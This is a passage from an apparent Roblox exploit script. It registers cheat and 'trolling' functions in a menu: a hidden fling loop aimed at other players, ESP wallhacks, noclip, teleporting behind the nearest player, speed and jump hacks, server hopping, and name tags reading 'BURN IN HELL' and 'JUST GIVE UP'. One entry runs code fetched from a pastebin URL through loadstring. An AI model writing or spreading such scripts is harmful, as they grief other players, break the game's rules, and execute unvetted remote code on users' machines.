naeeym.Adornee = character:WaitForChild("Head")
local tecks = Instance.new("TextLabel", naeeym)
tecks.BackgroundTransparency = 1
tecks.BorderSizePixel = 0
tecks.Font = Enum.Font.Fantasy
tecks.TextSize = 24
tecks.TextStrokeTransparency = 0
tecks.TextStrokeColor3 = Color3.new(0, 0, 0)
tecks.TextColor3 = Color3.new(0, 0, 0)
tecks.Size = UDim2.new(1, 0, 0.5, 0)
tecks.Text = "John Doe"
local function changeName(newName)
tecks.Text = newName
end
local function shakeTag()
local originalOffset = naeeym.StudsOffset
for _ = 1, 10 do
naeeym.StudsOffset = originalOffset + Vector3.new(math.random(-1,1), math.random(-1,1), math.random(-1,1))
task.wait(0.05)
end
naeeym.StudsOffset = originalOffset
end
coroutine.wrap(function()
while character:IsDescendantOf(workspace) do
changeName("BURN IN HELL")
shakeTag()
task.wait(0.2)
changeName("STOP")
task.wait(0.1)
changeName("JUST GIVE UP")
shakeTag()
task.wait(0.2)
changeName("STOP")
shakeTag()
task.wait(0.2)
changeName("JOHN DOE")
shakeTag()
task.wait(0.3)
changeName("HOPELESS")
shakeTag()
task.wait(0.3)
end
end)()
local footPartSize = Vector3.new(10, 0.5, 10)
local floorPartColor = BrickColor.Black()
local floorMaterial = Enum.Material.Neon
local yOffset = -2.8
local lastPosition = hrp.Position
local standingTimer = 0
RunService.Heartbeat:Connect(function(dt)
if not character:IsDescendantOf(workspace) then return end
local currentPosition = hrp.Position
standingTimer += dt
local distanceMoved = (currentPosition - lastPosition).Magnitude
local stepPosition = Vector3.new(currentPosition.X, hrp.Position.Y + yOffset, currentPosition.Z)
local function createFootstep(position)
local part = Instance.new("Part")
part.Size = footPartSize
part.Position = position
part.Anchored = true
part.CanCollide = false
part.BrickColor = floorPartColor
part.Material = floorMaterial
part.Transparency = 0.5
part.Parent = workspace
task.spawn(function()
for i = 1, 10 do
part.Transparency = i * 0.03
task.wait(0.05)
end
end)
Debris:AddItem(part, 1)
end
if distanceMoved > 1 then
createFootstep(stepPosition)
lastPosition = currentPosition
standingTimer = 0
elseif standingTimer > 0.5 then
createFootstep(stepPosition)
standingTimer = 0
end
end)
local movel = 0.1
local hiddenfling = true
local function fling()
while hiddenfling and character:IsDescendantOf(workspace) do
if hrp then
local originalVelocity = hrp.Velocity
hrp.Velocity = originalVelocity * 10000 + Vector3.new(0, 10000, 0)
RunService.RenderStepped:Wait()
hrp.Velocity = originalVelocity
RunService.Stepped:Wait()
hrp.Velocity = originalVelocity + Vector3.new(0, movel, 0)
movel = -movel
end
RunService.Heartbeat:Wait()
end
end
coroutine.wrap(fling)()
end
player.CharacterAdded:Connect(setupCharacter)
if player.Character then
setupCharacter(player.Character)
end
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local player = Players.LocalPlayer
local mouse = player:GetMouse()
local function teleportToMousePosition()
local character = player.Character
if not character or not character:FindFirstChild("HumanoidRootPart") then
return
end
local target = mouse.Hit
if target then
character:MoveTo(target.Position)
end
end
UserInputService.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed then return end
if input.KeyCode == Enum.KeyCode.T then
teleportToMousePosition()
end
end)
end, "Trolling", "BROKEN")
FunctionManager:register("Invis gui", function()
loadstring(game:HttpGet('https://pastebin.com/raw/3Rnd9rHf'))()
end, "Trolling", "Credits to the original maker!")
FunctionManager:register("DANCE", function()
local anim = Instance.new("Animation")
anim.AnimationId = "rbxassetid://27789359"
local track = game.Players.LocalPlayer.Character.Humanoid:LoadAnimation(anim)
track:Play()
end, "Fun", "DANCE DANCE")
FunctionManager:register("Sound GUI", function()
local gui = game.Players.LocalPlayer.PlayerGui:FindFirstChild("SoundGui")
if gui then
gui:Destroy()
return
end
local SoundGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local AddSoundId = Instance.new("TextButton")
local SoundIds = Instance.new("TextBox")
local Default = Instance.new("TextButton")
local Credits = Instance.new("TextLabel")
local Title = Instance.new("TextLabel")
local Swap = Instance.new("ImageButton")
local PlayBackSpeed = Instance.new("TextBox")
local Volume = Instance.new("TextBox")
local Looped = Instance.new("TextBox")
local Exit = Instance.new("ImageButton")
local Frame2 = Instance.new("Frame")
local Open = Instance.new("ImageButton")
local spoky = Instance.new("Sound")
local c00lflag = Instance.new("Sound")
local drag = Instance.new("UIDragDetector")
drag.Parent = Frame
c00lflag.Name = "c00lsound23sas"
c00lflag.Parent = Frame
spoky.Parent = Frame
spoky.SoundId = "rbxassetid://95156028272944"
spoky.Volume = 3
spoky.PlaybackSpeed = 0.2
spoky.Name = "spoky"
--Properties:
SoundGui.Name = "SoundGui"
SoundGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
SoundGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
SoundGui.ResetOnSpawn = false
Frame.Parent = SoundGui
Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame.BorderColor3 = Color3.fromRGB(255, 0, 4)
Frame.BorderSizePixel = 2
Frame.Position = UDim2.new(0, 700, 0, 300)
Frame.Size = UDim2.new(0, 398, 0, 206)
AddSoundId.Name = "AddSoundId"
AddSoundId.Parent = Frame
AddSoundId.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
AddSoundId.BorderColor3 = Color3.fromRGB(255, 0, 0)
AddSoundId.BorderSizePixel = 2
AddSoundId.Position = UDim2.new(0.118090451, 0, 0.718446612, 0)
AddSoundId.Size = UDim2.new(0, 307, 0, 36)
AddSoundId.Font = Enum.Font.Arial
AddSoundId.Text = "Add Sound!"
AddSoundId.TextColor3 = Color3.fromRGB(255, 255, 255)
AddSoundId.TextSize = 29.000
SoundIds.Name = "SoundIds"
SoundIds.Parent = Frame
SoundIds.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
SoundIds.BorderColor3 = Color3.fromRGB(255, 0, 0)
SoundIds.BorderSizePixel = 2
SoundIds.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
SoundIds.Size = UDim2.new(0, 307, 0, 33)
SoundIds.Font = Enum.Font.Arial
SoundIds.PlaceholderText = "Add a sound ID here!, No rbx://"
SoundIds.Text = ""
SoundIds.TextColor3 = Color3.fromRGB(255, 255, 255)
SoundIds.TextScaled = true
SoundIds.TextSize = 14.000
SoundIds.TextWrapped = true
Default.Name = "Default"
Default.Parent = Frame
Default.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Default.BorderColor3 = Color3.fromRGB(255, 0, 0)
Default.BorderSizePixel = 2
Default.Position = UDim2.new(0.118090451, 0, 0.529126227, 0)
Default.Size = UDim2.new(0, 307, 0, 28)
Default.Font = Enum.Font.Arial
Default.Text = "Spooky Scary Skeletons!"
Default.TextColor3 = Color3.fromRGB(255, 255, 255)
Default.TextSize = 23.000
Credits.Name = "Credits"
Credits.Parent = Frame
Credits.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Credits.BackgroundTransparency = 1.000
Credits.BorderColor3 = Color3.fromRGB(0, 0, 0)
Credits.BorderSizePixel = 0
Credits.Position = UDim2.new(0.577889442, 0, 0.9174757, 0)
Credits.Size = UDim2.new(0, 153, 0, 17)
Credits.Font = Enum.Font.SourceSans
Credits.Text = "made by: 1known. On discord!"
Credits.TextColor3 = Color3.fromRGB(255, 255, 255)
Credits.TextSize = 14.000
Title.Name = "Title"
Title.Parent = Frame
Title.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Title.BackgroundTransparency = 1.000
Title.BorderColor3 = Color3.fromRGB(255, 0, 4)
Title.BorderSizePixel = 2
Title.Position = UDim2.new(0.208542719, 0, 0.0291262139, 0)
Title.Size = UDim2.new(0, 231, 0, 48)
Title.Font = Enum.Font.Arial
Title.Text = "c00lSound GUI!"
Title.TextColor3 = Color3.fromRGB(255, 255, 255)
Title.TextSize = 33.000
Title.TextWrapped = true
Swap.Name = "Swap"
Swap.Parent = Frame
Swap.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Swap.BorderColor3 = Color3.fromRGB(255, 0, 0)
Swap.BorderSizePixel = 0
Swap.Position = UDim2.new(0.904522598, 0, 0.33495146, 0)
Swap.Size = UDim2.new(0, 23, 0, 21)
Swap.Image = "rbxassetid://2500573769"
PlayBackSpeed.Name = "PlayBackSpeed"
PlayBackSpeed.Parent = Frame
PlayBackSpeed.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
PlayBackSpeed.BorderColor3 = Color3.fromRGB(255, 0, 0)
PlayBackSpeed.BorderSizePixel = 2
PlayBackSpeed.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
PlayBackSpeed.Size = UDim2.new(0, 307, 0, 33)
PlayBackSpeed.Visible = false
PlayBackSpeed.Font = Enum.Font.Arial
PlayBackSpeed.PlaceholderText = "Playback speed, Enter a number!"
PlayBackSpeed.Text = "1"
PlayBackSpeed.TextColor3 = Color3.fromRGB(255, 255, 255)
PlayBackSpeed.TextScaled = true
PlayBackSpeed.TextSize = 14.000
PlayBackSpeed.TextWrapped = true
Volume.Name = "Volume"
Volume.Parent = Frame
Volume.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Volume.BorderColor3 = Color3.fromRGB(255, 0, 0)
Volume.BorderSizePixel = 2
Volume.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
Volume.Size = UDim2.new(0, 307, 0, 33)
Volume.Visible = false
Volume.Font = Enum.Font.Arial
Volume.PlaceholderText = "Volume! Enter a number."
Volume.Text = "0.5"
Volume.TextColor3 = Color3.fromRGB(255, 255, 255)
Volume.TextScaled = true
Volume.TextSize = 14.000
Volume.TextWrapped = true
Looped.Name = "Looped"
Looped.Parent = Frame
Looped.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Looped.BorderColor3 = Color3.fromRGB(255, 0, 0)
Looped.BorderSizePixel = 2
Looped.Position = UDim2.new(0.118090451, 0, 0.305825233, 0)
Looped.Size = UDim2.new(0, 307, 0, 33)
Looped.Visible = false
Looped.Font = Enum.Font.Arial
Looped.PlaceholderText = "Is it looped?, Type: False or True"
Looped.Text = "False"
Looped.TextColor3 = Color3.fromRGB(255, 255, 255)
Looped.TextScaled = true
Looped.TextSize = 14.000
Looped.TextWrapped = true
Exit.Name = "Exit"
Exit.Parent = Frame
Exit.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Exit.BorderColor3 = Color3.fromRGB(255, 0, 0)
Exit.BorderSizePixel = 2
Exit.Position = UDim2.new(0.921999991, 0, 0.0289999992, 0)
Exit.Size = UDim2.new(0, 25, 0, 23)
Exit.Image = "rbxassetid://14930908086"
Frame2.Name = "Frame2"
Frame2.Parent = SoundGui
Frame2.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
Frame2.BorderColor3 = Color3.fromRGB(0, 0, 0)
Frame2.BorderSizePixel = 0
Frame2.Position = UDim2.new(0.984443069, 0, 0.841666639, 0)
Frame2.Size = UDim2.new(0, 25, 0, 23)
Frame2.Visible = false
Open.Name = "Open"
Open.Parent = Frame2
Open.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Open.BorderColor3 = Color3.fromRGB(255, 0, 0)
Open.BorderSizePixel = 2
Open.Position = UDim2.new(-0.0312646478, 0, -0.0113339629, 0)
Open.Size = UDim2.new(0, 25, 0, 23)
Open.Image = "rbxassetid://14930908086"
-- Scripts:
local function GSSVM_fake_script() -- AddSoundId.LocalScript
local script = Instance.new('LocalScript', AddSoundId)
local parent = script.Parent
parent.Activated:Connect(function()
local SoundId = parent.Parent:WaitForChild("SoundIds").Text
local Playbackspeed = parent.Parent:WaitForChild("PlayBackSpeed").Text
local Volume = parent.Parent:WaitForChild("Volume").Text
local looped = parent.Parent:WaitForChild("Looped").Text
if SoundId == "" then
parent.Text = "No Sound ID!"
wait(2)
parent.Text = "Add Sound!"
return
end
local id = "rbxassetid://" .. SoundId
local speed = tonumber(Playbackspeed) or 1
local existingSound = game.Workspace:FindFirstChild("c00lsound23sas")
if existingSound then
existingSound.SoundId = id
existingSound.PlaybackSpeed = speed
existingSound.Volume = Volume
if looped == "False" then
existingSound.Looped = false
elseif looped == "True" then
existingSound.Looped = true
else
existingSound.Looped = false
end
existingSound:Play()
else
local clonedSound = parent.Parent.c00lsound23sas:Clone()
clonedSound.Parent = game.Workspace
clonedSound.SoundId = id
clonedSound.PlaybackSpeed = speed
clonedSound.Volume = Volume
if looped == "False" then
clonedSound.Looped = false
elseif looped == "True" then
clonedSound.Looped = true
else
clonedSound.Looped = false
end
clonedSound.Looped = looped
clonedSound:Play()
end
parent.Text = "Injected Sound Succesfully!, Be sure to enter a correct ID if it doesnt work!"
parent.TextScaled = true
wait(3.5)
parent.TextScaled = false
parent.Text = "Add Sound!"
end)
end
coroutine.wrap(GSSVM_fake_script)()
local function MWUVEW_fake_script() -- Default.LocalScript
local script = Instance.new('LocalScript', Default)
local parent = script.Parent
local sound = parent.Parent.spoky
parent.Activated:Connect(function()
if sound.Playing == true then
sound.Playing = false
else
sound.Playing = true
end
end)
end
coroutine.wrap(MWUVEW_fake_script)()
local function BIKZQ_fake_script() -- Swap.LocalScript
local script = Instance.new('LocalScript', Swap)
local parent = script.Parent
local playback = parent.Parent.PlayBackSpeed
local Sound = parent.Parent.SoundIds
local volume = parent.Parent.Volume
local looped = parent.Parent.Looped
parent.Activated:Connect(function()
if Sound.Visible == true then
Sound.Visible = false
playback.Visible = true
volume.Visible = false
looped.Visible = false
elseif playback.Visible ==true then
playback.Visible = false
Sound.Visible = false
volume.Visible = true
looped.Visible = false
elseif volume.Visible == true then
Sound.Visible = false
playback.Visible = false
volume.Visible = false
looped.Visible = true
elseif looped.Visible == true then
Sound.Visible = true
playback.Visible = false
volume.Visible = false
looped.Visible = false
end
end)
end
coroutine.wrap(BIKZQ_fake_script)()
local function AXYPXC_fake_script() -- Exit.LocalScript
local script = Instance.new('LocalScript', Exit)
local parent = script.Parent
local main = parent.Parent
parent.Activated:Connect(function()
main.Parent.Frame2.Visible = true
main.Visible = false
end)
end
coroutine.wrap(AXYPXC_fake_script)()
local function WHTXC_fake_script() -- Open.LocalScript
local script = Instance.new('LocalScript', Open)
local parent = script.Parent
local main = parent.Parent.Parent.Frame
parent.Activated:Connect(function()
main.Visible = true
parent.Parent.Visible = false
end)
end
coroutine.wrap(WHTXC_fake_script)()
end, "General", "NOT FE")
FunctionManager:register("Bind Key", function()
if bindFrame then return end
local gui = Player:FindFirstChild("PlayerGui"):FindFirstChild(die)
if not gui then NotifyERROR("Gui not found!"); return end
screenGui = gui
bindFrame = Instance.new("Frame")
bindFrame.Name = generate_string(math_random(1, 10))
bindFrame.Size = UDim2.new(1,0,1,0)
bindFrame.BackgroundColor3 = Color3.new(0,0,0)
bindFrame.BackgroundTransparency = 0.5
bindFrame.ZIndex = 50
bindFrame.Parent = screenGui
local panel = Instance.new("Frame")
panel.Name = generate_string(math_random(1, 10))
panel.Size = UDim2.new(0, 300, 0, 400)
panel.Position = UDim2.new(0.5, -150, 0.5, -200)
panel.BackgroundColor3 = Color3.fromRGB(35,35,35)
panel.BorderSizePixel = 0
panel.ZIndex = 51
panel.Parent = bindFrame
local closeBtn = Instance.new("TextButton")
closeBtn.Size = UDim2.new(0, 60, 0, 24)
closeBtn.Position = UDim2.new(1, -64, 0, 4)
closeBtn.Text = "Close"
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 14
closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50)
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.ZIndex = 52
closeBtn.Parent = panel
closeBtn.MouseButton1Click:Connect(function()
bindFrame:Destroy()
bindFrame = nil
if bindConn then bindConn:Disconnect(); bindConn = nil end
end)
local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, -8, 0, 24)
title.Position = UDim2.new(0, 4, 0, 4)
title.BackgroundTransparency = 1
title.Font = Enum.Font.SourceSansBold
title.TextSize = 18
title.TextColor3 = Color3.new(1,1,1)
title.Text = "Bind Key to Function"
title.ZIndex = 52
title.Parent = panel
local list = Instance.new("ScrollingFrame")
list.Size = UDim2.new(1, -8, 1, -40)
list.Position = UDim2.new(0, 4, 0, 32)
list.CanvasSize = UDim2.new(0,0,0,0)
list.ScrollBarThickness = 6
list.ZIndex = 51
list.Parent = panel
local uiList = Instance.new("UIListLayout")
uiList.Padding = UDim.new(0,4)
uiList.SortOrder = Enum.SortOrder.LayoutOrder
uiList.Parent = list
local function refreshList()
for _, child in ipairs(list:GetChildren()) do
if child:IsA("TextButton") or child:IsA("TextLabel") then
child:Destroy()
end
end
for _, cat in ipairs(FunctionManager.Categories) do
local hdr = Instance.new("TextLabel")
hdr.Size = UDim2.new(1,0,0,24)
hdr.BackgroundTransparency = 1
hdr.Font = Enum.Font.SourceSansBold
hdr.TextSize = 16
hdr.TextColor3 = Color3.new(1,1,0)
hdr.Text = "["..cat.."]"
hdr.ZIndex = 51
hdr.Parent = list
for name, cb in pairs(FunctionManager:getFunctionsInCategory(cat)) do
local btn = Instance.new("TextButton")
btn.Size = UDim2.new(1,0,0,24)
btn.Font = Enum.Font.SourceSans
btn.TextSize = 14
btn.BackgroundColor3 = Color3.fromRGB(50,50,50)
btn.TextColor3 = Color3.new(1,1,1)
btn.ZIndex = 51
local bound = {}
for key, fn in pairs(customBinds) do
if fn == cb then table.insert(bound, tostring(key)) end
end
local suffix = #bound>0 and " ("..table.concat(bound, ",")..")" or ""
btn.Text = name..suffix
btn.Parent = list
btn.MouseButton1Click:Connect(function()
waitingBindFunction = { cb = cb, btn = btn, name = name }
btn.Text = name.." → [Press a key]"
end)
end
end
list.CanvasSize = UDim2.new(0,0,0, uiList.AbsoluteContentSize.Y + 8)
end
bindConn = UserInputService.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed or not waitingBindFunction then return end
if input.UserInputType == Enum.UserInputType.Keyboard then
customBinds[input.KeyCode] = waitingBindFunction.cb
waitingBindFunction.btn.Text = waitingBindFunction.name.." ("..tostring(input.KeyCode)..")"
waitingBindFunction = nil
end
end)
refreshList()
end, "Utility", "BUGGED")
UserInputService.InputBegan:Connect(function(input, gameProcessed)
if gameProcessed then return end
if input.UserInputType == Enum.UserInputType.Keyboard then
local fn = customBinds[input.KeyCode]
if fn and type(fn) == "function" then
pcall(fn)
end
end
end)
FunctionManager:register("JumpUp", function()
local char = Player.Character
local hrp = char and char:FindFirstChild("HumanoidRootPart")
if hrp then hrp.Velocity = Vector3.new(0, 100, 0) end
end, "Movement", "Leap into the air!")
FunctionManager:register("Sit", function()
local hum = Player.Character and Player.Character:FindFirstChildOfClass("Humanoid")
if hum then hum.Sit = true end
end, "Movement", "SIT DOWN")
FunctionManager:register("INF JUMP", function()
infJumpEnabled = not infJumpEnabled
if infJumpEnabled then
local debounce = false
infJumpConnection = UserInputService.JumpRequest:Connect(function()
if debounce then return end
debounce = true
local character = Player.Character
local humanoid = character and character:FindFirstChildWhichIsA("Humanoid")
if humanoid then
humanoid:ChangeState(Enum.HumanoidStateType.Jumping)
end
task.wait()
debounce = false
end)
else
if infJumpConnection then
infJumpConnection:Disconnect()
infJumpConnection = nil
end
end
end, "Movement", "Jump Forever!")
FunctionManager:register("WalkSpeed Slider", function()
if screenGui:FindFirstChild("WalkSpeedModal") then return end
local overlay = Instance.new("Frame")
overlay.Name = "WalkSpeedModal"
overlay.Size = UDim2.new(1,0,1,0)
overlay.Position = UDim2.new(0,0,0,0)
overlay.BackgroundColor3 = Color3.new(0,0,0)
overlay.BackgroundTransparency = 0.5
overlay.ZIndex = 50
overlay.Parent = screenGui
local panel = Instance.new("Frame")
panel.Name = "SliderPanel"
panel.Size = UDim2.new(0, 300, 0, 100)
panel.Position = UDim2.new(0.5, -150, 0.5, -50)
panel.BackgroundColor3 = Color3.fromRGB(40,40,40)
panel.BorderSizePixel = 0
panel.ZIndex = 51
panel.Parent = overlay
local closeBtn = Instance.new("TextButton")
closeBtn.Name = "Close"
closeBtn.Size = UDim2.new(0,60,0,24)
closeBtn.Position = UDim2.new(1,-64,0,4)
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 14
closeBtn.Text = "Close"
closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50)
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.ZIndex = 52
closeBtn.Parent = panel
closeBtn.MouseButton1Click:Connect(function()
overlay:Destroy()
end)
local label = Instance.new("TextLabel")
label.Name = "ValueLabel"
label.Size = UDim2.new(1,-8,0,24)
label.Position = UDim2.new(0,4,0,4)
label.BackgroundTransparency= 1
label.Font = Enum.Font.SourceSansBold
label.TextSize = 18
label.TextColor3 = Color3.new(1,1,1)
label.Text = "WalkSpeed: " .. tostring(Humanoid.WalkSpeed)
label.ZIndex = 52
label.Parent = panel
local track = Instance.new("Frame")
track.Name = "Track"
track.Size = UDim2.new(1,-16,0,20)
track.Position = UDim2.new(0,8,0,40)
track.BackgroundColor3 = Color3.fromRGB(60,60,60)
track.BorderSizePixel = 0
track.ZIndex = 51
track.Parent = panel
local fill = Instance.new("Frame")
fill.Name = "Fill"
fill.Size = UDim2.new(
math.clamp((Humanoid.WalkSpeed - 8)/(100-8),0,1), 0,
1, 0
)
fill.BackgroundColor3 = Color3.fromRGB(100,200,100)
fill.BorderSizePixel = 0
fill.ZIndex = 52
fill.Parent = track
local dragging = false
local minS, maxS = 8, 100
local function update(x)
local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1)
local v = math.floor(minS + (maxS-minS)*rel)
Humanoid.WalkSpeed = v
label.Text = "WalkSpeed: "..v
fill.Size = UDim2.new(rel,0,1,0)
end
track.InputBegan:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = true
update(i.Position.X)
end
end)
track.InputEnded:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = false
end
end)
UserInputService.InputChanged:Connect(function(i)
if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then
update(i.Position.X)
end
end)
end, "Movement", "Control your walkspeed!")
FunctionManager:register("Server Hop", function()
local success, res = pcall(function()
return game:HttpGet(
"https://games.roblox.com/v1/games/" ..
PlaceId ..
"/servers/Public?sortOrder=Desc&limit=100&excludeFullGames=true"
)
end)
if not success then
return NotifyERROR("[Server Hop] HTTP request failed")
end
local body
local ok, err = pcall(function()
body = HttpService:JSONDecode(res)
end)
if not ok or type(body) ~= "table" or type(body.data) ~= "table" then
return NotifyERROR("[Server Hop] Invalid JSON response")
end
local servers = {}
for _, v in ipairs(body.data) do
if type(v) == "table"
and tonumber(v.playing)
and tonumber(v.maxPlayers)
and v.playing < v.maxPlayers
and v.id ~= JobId then
table.insert(servers, v.id)
end
end
if #servers == 0 then
return NotifyERROR("[Server Hop] No available servers found")
end
local choice = servers[math.random(1, #servers)]
TeleportService:TeleportToPlaceInstance(PlaceId, choice, Players.LocalPlayer)
end, "Utility","Changes Servers")
FunctionManager:register("TP Behind Closest", function()
if not HRP then
NotifyERROR("No HumanoidRootPart found.")
return
end
local closestPlayer
local shortestDistance = math.huge
for _, otherPlayer in ipairs(Players:GetPlayers()) do
if otherPlayer ~= Player and otherPlayer.Character then
local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart")
if otherRoot then
local distance = (otherRoot.Position - HRP.Position).Magnitude
if distance < shortestDistance then
shortestDistance = distance
closestPlayer = otherPlayer
end
end
end
end
if closestPlayer and closestPlayer.Character then
local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart")
if targetRoot then
local behindPosition = targetRoot.CFrame.Position - targetRoot.CFrame.LookVector * 3
local newCFrame = CFrame.new(behindPosition, targetRoot.Position)
HRP.CFrame = newCFrame
end
else
NotifyERROR("No nearby player found.")
end
end, "Movement", "Owai moi, shinderu. NANI?")
FunctionManager:register("Scare Closest Player", function()
if not HRP then
NotifyERROR("Could not find your HumanoidRootPart.")
return
end
local closestPlayer, closestDistance = nil, math.huge
for _, otherPlayer in ipairs(Players:GetPlayers()) do
if otherPlayer ~= Player and otherPlayer.Character then
local otherRoot = otherPlayer.Character:FindFirstChild("HumanoidRootPart")
if otherRoot then
local dist = (otherRoot.Position - HRP.Position).Magnitude
if dist < closestDistance then
closestDistance = dist
closestPlayer = otherPlayer
end
end
end
end
if closestPlayer and closestPlayer.Character then
local targetRoot = closestPlayer.Character:FindFirstChild("HumanoidRootPart")
if targetRoot then
local oldPos = HRP.CFrame
HRP.CFrame = targetRoot.CFrame + targetRoot.CFrame.lookVector * 2
HRP.CFrame = CFrame.new(HRP.Position, targetRoot.Position)
task.wait(0.5)
HRP.CFrame = oldPos
end
else
NotifyERROR("No target player nearby.")
end
end, "Fun", "FNAF reference")
FunctionManager:register("ESP Toggle", function()
espOn = not espOn
for _, plr in ipairs(Players:GetPlayers()) do
if plr.Character and plr ~= Player then
local head = plr.Character:FindFirstChild("Head")
if head then
local bb = head:FindFirstChild("ESP") or Instance.new("BillboardGui", head)
bb.Name = "ESP"
bb.Size = UDim2.new(0,80,0,20)
bb.AlwaysOnTop = true
local lbl = bb:FindFirstChild("Name") or Instance.new("TextLabel", bb)
lbl.Name = "Name"
lbl.BackgroundTransparency = 1
lbl.Size = UDim2.new(1,0,1,0)
lbl.TextColor3 = Color3.new(1,0,0)
lbl.TextScaled = true
lbl.Text = plr.Name
bb.Enabled = espOn
end
end
end
Notify("ESP " .. (espOn and "Enabled" or "Disabled"), "SYSTEM", 3)
end, "Visual", "ur cooked i just got wallhacks")
FunctionManager:register("JumpPowerSlider", function()
if screenGui:FindFirstChild("JumpPowerModal") then return end
Humanoid.UseJumpPower = true
local overlay = Instance.new("Frame")
overlay.Name = "JumpPowerModal"
overlay.Size = UDim2.new(1,0,1,0)
overlay.Position = UDim2.new(0,0,0,0)
overlay.BackgroundColor3 = Color3.new(0,0,0)
overlay.BackgroundTransparency = 0.5
overlay.ZIndex = 50
overlay.Parent = screenGui
local panel = Instance.new("Frame")
panel.Name = "JumpPanel"
panel.Size = UDim2.new(0, 300, 0, 100)
panel.Position = UDim2.new(0.5, -150, 0.5, -50)
panel.BackgroundColor3 = Color3.fromRGB(40,40,40)
panel.BorderSizePixel = 0
panel.ZIndex = 51
panel.Parent = overlay
local closeBtn = Instance.new("TextButton")
closeBtn.Name = "Close"
closeBtn.Size = UDim2.new(0,60,0,24)
closeBtn.Position = UDim2.new(1,-64,0,4)
closeBtn.Font = Enum.Font.SourceSansBold
closeBtn.TextSize = 14
closeBtn.Text = "Close"
closeBtn.BackgroundColor3 = Color3.fromRGB(150,50,50)
closeBtn.TextColor3 = Color3.new(1,1,1)
closeBtn.ZIndex = 52
closeBtn.Parent = panel
closeBtn.MouseButton1Click:Connect(function()
overlay:Destroy()
end)
local label = Instance.new("TextLabel")
label.Name = "ValueLabel"
label.Size = UDim2.new(1,-8,0,24)
label.Position = UDim2.new(0,4,0,4)
label.BackgroundTransparency= 1
label.Font = Enum.Font.SourceSansBold
label.TextSize = 18
label.TextColor3 = Color3.new(1,1,1)
label.Text = "JumpPower: " .. tostring(Humanoid.JumpPower)
label.ZIndex = 52
label.Parent = panel
local track = Instance.new("Frame")
track.Name = "Track"
track.Size = UDim2.new(1,-16,0,20)
track.Position = UDim2.new(0,8,0,40)
track.BackgroundColor3 = Color3.fromRGB(60,60,60)
track.BorderSizePixel = 0
track.ZIndex = 51
track.Parent = panel
local fill = Instance.new("Frame")
fill.Name = "Fill"
fill.Size = UDim2.new(
math.clamp((Humanoid.JumpPower - 50)/(200-50),0,1), 0,
1, 0
)
fill.BackgroundColor3 = Color3.fromRGB(100,200,100)
fill.BorderSizePixel = 0
fill.ZIndex = 52
fill.Parent = track
local dragging = false
local minJ, maxJ = 50, 200
local function update(x)
local rel = math.clamp((x - track.AbsolutePosition.X)/track.AbsoluteSize.X, 0,1)
local v = math.floor(minJ + (maxJ-minJ)*rel)
Humanoid.JumpPower = v
label.Text = "JumpPower: "..v
fill.Size = UDim2.new(rel,0,1,0)
end
track.InputBegan:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = true
update(i.Position.X)
end
end)
track.InputEnded:Connect(function(i)
if i.UserInputType == Enum.UserInputType.MouseButton1 then
dragging = false
end
end)
UserInputService.InputChanged:Connect(function(i)
if dragging and i.UserInputType==Enum.UserInputType.MouseMovement then
update(i.Position.X)
end
end)
end, "Movement", "Control your jumppower")
FunctionManager:register("Spin Bot", function()
spinOn = not spinOn
if spinOn then
if not HRP then return NotifyERROR("No HRP!") end
lockBP = Instance.new("BodyPosition")
lockBP.Name = "SpinLockBP"
lockBP.Position = HRP.Position
lockBP.MaxForce = Vector3.new(1e6, 1e6, 1e6)
lockBP.P = 1e5
lockBP.D = 0
lockBP.Parent = HRP
spinBAV = Instance.new("BodyAngularVelocity")
spinBAV.Name = "SpinBAV"
spinBAV.AngularVelocity = Vector3.new(0, 10000, 0)
spinBAV.MaxTorque = Vector3.new(1e6, 1e6, 1e6)
spinBAV.P = 1e5
spinBAV.Parent = HRP
NotifyERROR("Spin Bot On")
else
if spinBAV then
spinBAV:Destroy()
spinBAV = nil
end
if lockBP then
lockBP:Destroy()
lockBP = nil
end
NotifyERROR("Spin Bot Off")
end
end, "Visual", "Speeeeen")
FunctionManager:register("TP To Mouse", function()
if hit then
HRP.CFrame = CFrame.new(pos + Vector3.new(0, 3, 0))
warn("Teleported to mouse")
end
end, "Movement", "BUGGED")
FunctionManager:register("Save Position", function()
savedCFrame = HRP.CFrame
Notify("Position Saved", "SYSTEM", 3)
end, "Utility", "Checkpoint")
FunctionManager:register("Load Position", function()
if savedCFrame then
HRP.CFrame = savedCFrame
Notify("Position Loaded", "SYSTEM", 3)
else
NotifyERROR("No Position Saved")
end
end, "Utility", "Reload")
FunctionManager:register("No‑Clip", function()
noclipOn = not noclipOn
